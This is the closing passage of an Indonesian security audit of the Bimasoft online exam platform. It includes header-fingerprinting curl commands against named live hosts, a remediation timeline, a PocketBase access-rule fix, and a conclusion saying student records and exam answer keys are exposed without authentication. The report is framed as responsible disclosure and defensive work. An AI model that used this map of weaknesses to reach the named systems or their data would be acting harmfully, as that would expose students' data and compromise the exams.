curl -I 'https://pb.app.web.id/'
→ server: Caddy

curl -I 'https://backend.e-admin.bimasoft.web.id/'
```

```
→ server: Caddy
→ x-content-type-options: nosniff
→ x-frame-options: SAMEORIGIN

# From HTML:
# bootstrap@5, @coreui/coreui, pocketbase-D0e2iU60.js
```

Remediation

- Remove/mask server header.
 - Generic asset filenames (tidak menyertakan version hash yang bisa di-correlate ke library version).
-

10 REMEDIATION ROADMAP

Prioritas perbaikan berdasarkan severity dan ease of exploitation:

Priority	Finding	Action	Timeline	Effort
P0 — NOW	C-01÷C-04, N-02÷N-04	Set PocketBase auth rules semua collections	< 2 jam	LOW
P0 — NOW	N-01	Rotate WP password + hapus dari JS source	< 1 jam	LOW
P0 — NOW	N-05	Set auth rules di backend.e-admin juga	< 2 jam	LOW
P1 — 24H	C-03	Migrate proctor ke PB auth collection (bcrypt)	< 1 hari	MED
P1 — 24H	H-01	IP whitelist atau auth di /_/ endpoint	< 2 jam	LOW
P1 — 24H	N-06	Input sanitasi + CSP header	< 4 jam	MED
P2 — 48H	H-02, N-08	Server-side role validation	< 2 hari	MED
P2 — 48H	H-03	Migrate token ke httpOnly cookie	< 1 hari	MED
P2 — 48H	N-07	CORS: specific origin bukan wildcard	< 1 jam	LOW
P3 — WEEK	M-01	WAF rules di application layer	< 1 minggu	HIGH
P3 — WEEK	M-02	Server-side decryption, hide kunci dari API	< 2 hari	MED
P4 — MONTH	I-01	Remove server headers, generic filenames	< 1 hari	LOW

Root Cause — Single Fix, Maximum Impact

Mayoritas kerentanan (C-01÷C-04, N-02÷N-04, N-05) berasal dari satu root cause: **PocketBase collection rules dibiarkan kosong (public)**. Satu konfigurasi di PocketBase admin panel (/_/) untuk setiap collection dapat menutup 9 dari 17 findings sekaligus:

```
List rule = @request.auth.id != ''
View rule = @request.auth.id != ''
Create rule = @request.auth.id != ''
Update rule = @request.auth.id != ''
Delete rule = @request.auth.id != ''
```

Terapkan di: DataUsers, DataUjian, DataJawaban, DataKunci, DataPengawas, DataSoal, DataSiswa, PengaturanTest — di KEDUA backend (pb.app.web.id dan backend.e-admin.bimasoft.web.id).

11 CONCLUSION

Platform CBT Online Bimasoft dalam kondisi **fully compromised**. Seluruh data siswa, guru, soal, jawaban, dan konfigurasi ujian dari **lebih dari 1,800 sekolah** dapat diakses, dimodifikasi, atau dihapus tanpa autentikasi apapun dalam waktu kurang dari 30 menit.

- **Fraud akademik massal:** nilai 2.5M+ jawaban siswa dapat dimanipulasi secara otomatis.
- **Data breach:** 377,249 data siswa + 1,828 akun sekolah terekspos (pelanggaran UU PDP).
- **Credential theft:** password plaintext pengawas terekspos + WordPress creds hardcoded.
- **Supply chain attack:** kunci jawaban dan soal ujian dapat dicuri atau diganti.
- **Infrastructure takeover:** konfigurasi keamanan ujian dapat dimatikan oleh siapapun.

Report ini disusun oleh **XC-HACK · Hacking XC Hub** — 2026-07-23. Semua temuan telah diverifikasi secara live dengan proof-of-concept. Responsible disclosure. Semua test records dibersihkan pasca verifikasi.

XC-HACK · Hacking XC Hub · pointrungkat-art · 2026